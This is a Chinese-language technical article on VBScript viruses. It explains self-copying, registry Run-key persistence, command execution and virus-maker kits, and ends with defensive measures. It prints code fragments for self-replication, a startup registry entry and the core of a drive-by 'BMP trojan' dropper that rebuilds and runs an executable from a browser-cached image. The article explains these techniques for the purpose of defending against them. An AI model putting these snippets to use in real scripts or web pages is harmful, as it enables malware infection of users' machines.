1 引言
VBS語(yǔ)言為程序設(shè)計(jì)提供了很大的方便,特別是在動(dòng)態(tài)網(wǎng)頁(yè)設(shè)計(jì)中使用廣泛。但是VBS的各種特點(diǎn)也使之成為制造病毒的理想工具。2000年5月4日歐美爆發(fā)了“愛(ài)蟲(chóng)”網(wǎng)絡(luò)蠕蟲(chóng)病毒。由于通過(guò)電子郵件系統(tǒng)傳播,愛(ài)蟲(chóng)病毒在短短幾天內(nèi)狂襲全球數(shù)百萬(wàn)計(jì)的電腦。2002年4月出現(xiàn)的新歡樂(lè)時(shí)光病毒也席卷了中國(guó)很多電腦,并在“2003年中國(guó)計(jì)算機(jī)病毒疫情調(diào)查技術(shù)分析報(bào)告”的十大病毒中,高居榜首。
2 VBS病毒的特點(diǎn)
顧名思義VBS病毒是用VBS語(yǔ)言編寫的。VBS是“Visual Basic Script”的縮寫,就是VB語(yǔ)言的腳本版。該腳本語(yǔ)言功能非常強(qiáng)大,它們利用開(kāi)放性的特點(diǎn),通過(guò)調(diào)用一些現(xiàn)成的Windows對(duì)象、組件,可以直接對(duì)文件系統(tǒng)、注冊(cè)表等進(jìn)行控制,為制造病毒提供了非常好的條件。
3 VBS病毒的基本原理
(1) VBS腳本病毒如何感染文件
VBS腳本病毒一般是直接通過(guò)自我復(fù)制來(lái)感染文件的。譬如愛(ài)蟲(chóng)病毒是直接生成一個(gè)文件的副本,將病毒代碼拷入其中,并以原文件名作為病毒文件名的前綴,vbs作為后綴。病毒自我復(fù)制的代碼如下:
set copy1=createobject(\"scripting.filesystemobject\")'創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象
copy1.getfile(wscript.scriptfullname).copy(\"c:\\huan.vbs\")'腳本自我復(fù)制
上面描述了病毒文件如何進(jìn)行自我復(fù)制的,只要在病毒代碼中加上上述代碼就可實(shí)現(xiàn)自我復(fù)制了。
(2) VBS腳本病毒如何修改注冊(cè)表
注冊(cè)表幾乎是每種病毒都喜歡光顧的地方。這是因?yàn)椴《疽朐谟脩糁貑⒂?jì)算機(jī)之后仍能夠運(yùn)行,一般都要通過(guò)修改注冊(cè)表中的啟動(dòng)項(xiàng)的鍵值。當(dāng)然,VBS病毒也不例外,而且VBS腳本對(duì)注冊(cè)表的修改十分簡(jiǎn)單。只要通過(guò)如下代碼就可做到:
以下是一個(gè)蠕蟲(chóng)病毒的修改注冊(cè)表部分的代碼:
Dim Reg'定義Wscript.Shell對(duì)象
SetReg=CreateObject ( \"wscript.Shell\")'確定創(chuàng)建對(duì)象項(xiàng)目
'把資料寫入Registry
Reg.RegWrite
\"HKEY_LOCAL_MACHINE\\SOFTWARE
\\Microsoft \\ Windows \\ CurrentVersion \\Run
Mapi\",\"C:\\WINNT\\SYSTEM\\Mapi.exe\"
'在啟動(dòng)項(xiàng)中增加病毒項(xiàng)
(3) VBS 腳本病毒如何直接運(yùn)行 windows命令
除了能對(duì)注冊(cè)表修改,vbs腳本還能直接運(yùn)行windows命令。只要使用如下代碼:
Set objShell = CreateObject(\"Wscript.Shell\")'創(chuàng)建Wscript.Shell對(duì)象
objShell.Run( \"wmplayer.exe D:\\1.MP3\"),0,TRUE'在后臺(tái)播放1.MP3
這將使vbs腳本病毒的功能更加強(qiáng)大。也就是說(shuō),任何windows下的操作幾乎都可以在病毒中實(shí)現(xiàn)。這些病毒可以輕易地關(guān)掉你的殺毒軟件,甚至也可以執(zhí)行format這樣的格式化磁盤的命令。這將給用戶帶來(lái)毀滅性的打擊。
(4) VBS腳本病毒制造機(jī)的使用
這是一些菜鳥(niǎo)最喜歡用的制造VBS腳本病毒的方法。這種方法非常簡(jiǎn)單,一個(gè)幾乎不懂編程的人可以編出具有相當(dāng)威力的病毒。這種病毒制造機(jī)充分利用了腳本語(yǔ)言的優(yōu)越性。因?yàn)槟_本語(yǔ)言是解釋執(zhí)行的,不需要編譯,程序中不需要什么校驗(yàn)和定位,每條語(yǔ)句之間分隔得比較清楚。這樣,先將病毒功能做成很多單獨(dú)的模塊,在用戶做出病毒功能選擇后,病毒制造機(jī)只需要將相應(yīng)的功能模塊拼湊起來(lái),最后再作相應(yīng)的代碼替換和優(yōu)化即可。
(5) 利用VBS腳本進(jìn)行網(wǎng)頁(yè)掛馬
目前VBS使用最多的地方應(yīng)該就是在網(wǎng)頁(yè)設(shè)計(jì)中了。特別是在動(dòng)態(tài)網(wǎng)頁(yè)asp或html中嵌入VBS可以實(shí)現(xiàn)相當(dāng)多的功能。網(wǎng)頁(yè)掛馬就是用這種原理。所謂網(wǎng)頁(yè)掛馬就是黑客自己寫一個(gè)網(wǎng)頁(yè),當(dāng)你瀏覽該網(wǎng)頁(yè)時(shí)會(huì)自動(dòng)下載木馬并且運(yùn)行。為了讓用戶瀏覽該網(wǎng)頁(yè),黑客往往會(huì)入侵一個(gè)正常的網(wǎng)站,然后在該網(wǎng)頁(yè)上加上打開(kāi)網(wǎng)馬地址的html語(yǔ)句。這樣當(dāng)有用戶訪問(wèn)該網(wǎng)站時(shí)會(huì)自動(dòng)打開(kāi)網(wǎng)馬地址從而中木馬。下面我們來(lái)分析一下掛馬的原理:
以下是一個(gè)種BMP木馬網(wǎng)頁(yè)的核心代碼:
CACHE=wsh.RegRead
(\"HKCU \\Software \\ Microsoft\\Windows
\\ CurrentVersion \\ Explorer \\ Shell Folders
Cache\")
'通過(guò)讀注冊(cè)表得到網(wǎng)頁(yè)緩存地址
str=FSO.GetParentFolderName(CACH
E)\"\\\"CACHE.name\"\\\"\"1.bmp\");
'得到bmp臨時(shí)文件的完整路徑
set File=FSO.GetFile(str)'定義bmp文件的對(duì)象
File.Copy(tmp\"tmp.dat\")'復(fù)制bmp文件為tmp.dat文件
set Lt=FSO.CreateTextFile(tmp\"tmp.bat\")'創(chuàng)建tmp.bat批處理文件
Lt.WriteLine(\"@echo off\")'寫tmp.bat文件
Lt.WriteLine( \"debug\" tmp \"tmp.dat<\"tmp\"tmp.in>\"tmp\"tmp.out\")
Lt.WriteLine (\"copy\" tmp \"tmp.dat\"
winsys\"1.exe>\"tmp\"tmp.out\")
Lt.WriteLine(winsys\"1.exe\")
Lt.Close
WSH.Run tmp\"tmp.bat\",1,6
'運(yùn)行tmp.bat文件
這個(gè)BMP木馬的工作原理是這樣的:首先將木馬文件加上一個(gè)BMP文件頭轉(zhuǎn)換成BMP文件,并且在種馬網(wǎng)頁(yè)上添加這個(gè)BMP圖片文件。當(dāng)你打開(kāi)了這個(gè)網(wǎng)頁(yè)時(shí)系統(tǒng)會(huì)自動(dòng)將這個(gè)文件下到Internet緩存中。再通過(guò)讀注冊(cè)表得到用戶緩存目錄,將該文件另存為tmp.dat文件。然后再生成一個(gè)批處理文件。這個(gè)批處理文件的功能是調(diào)用系統(tǒng)自帶的debug程序,通過(guò)tmp.in中的命令對(duì)tmp.dat文件操作,過(guò)濾掉tmp.dat中的BMP文件頭,還原為1.exe文件,最后再運(yùn)行這個(gè)木馬。寫完這個(gè)批處理后,VBS腳本再調(diào)用這個(gè)批處理,完成批處理中的操作。這樣當(dāng)你瀏覽網(wǎng)頁(yè)時(shí)就自動(dòng)將木馬下載到本地運(yùn)行了。
4 VBS病毒的防范方法
VBS病毒雖然功能強(qiáng)大,但是仍然有很多弱點(diǎn)。正是因?yàn)槿觞c(diǎn)比較明顯,使得近幾年來(lái)VBS病毒不是很流行。下面我們介紹VBS病毒的防范方法:
(1)禁用文件系統(tǒng)對(duì)象FileSystemObject。用regsvr32 scrrun.dll /u這條命令就可以禁止文件系統(tǒng)對(duì)象。
(2) 刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射,同時(shí)取消隱藏系統(tǒng)中已知文件類型的擴(kuò)展名。這兩項(xiàng)可在文件夾選項(xiàng)中設(shè)置。
(3) 在Windows\\system32目錄中,找到WScript.exe,更改名稱或者刪除。
(4)要徹底防治VBS網(wǎng)絡(luò)蠕蟲(chóng)病毒,還需設(shè)置一下瀏覽器。把“ActiveX控件及插件”的一切設(shè)為禁用,同時(shí)將系統(tǒng)的網(wǎng)絡(luò)連接的安全級(jí)別設(shè)置至少為“中等”。
(5)禁止Outlook Express的自動(dòng)收發(fā)郵件功能,這樣將阻止蠕蟲(chóng)通過(guò)郵件的傳播。
(6) 最后一項(xiàng)也是最簡(jiǎn)單的,就是安裝殺毒軟件。目前國(guó)內(nèi)殺毒軟件已經(jīng)做得比較好了。只要你安裝了可更新病毒庫(kù)的殺毒軟件,還是可以查殺大部分病毒的。
————————————
參考文獻(xiàn)
[1]杜宏毅,鄭玄宜.完全接觸ASP之VBScript.電子工業(yè)出版社,2002.
[2]許衛(wèi)林,宋先斌,黨齊民.VBScript+ASP動(dòng)態(tài)網(wǎng)頁(yè)設(shè)計(jì)制作.中國(guó)電力出版社,2002.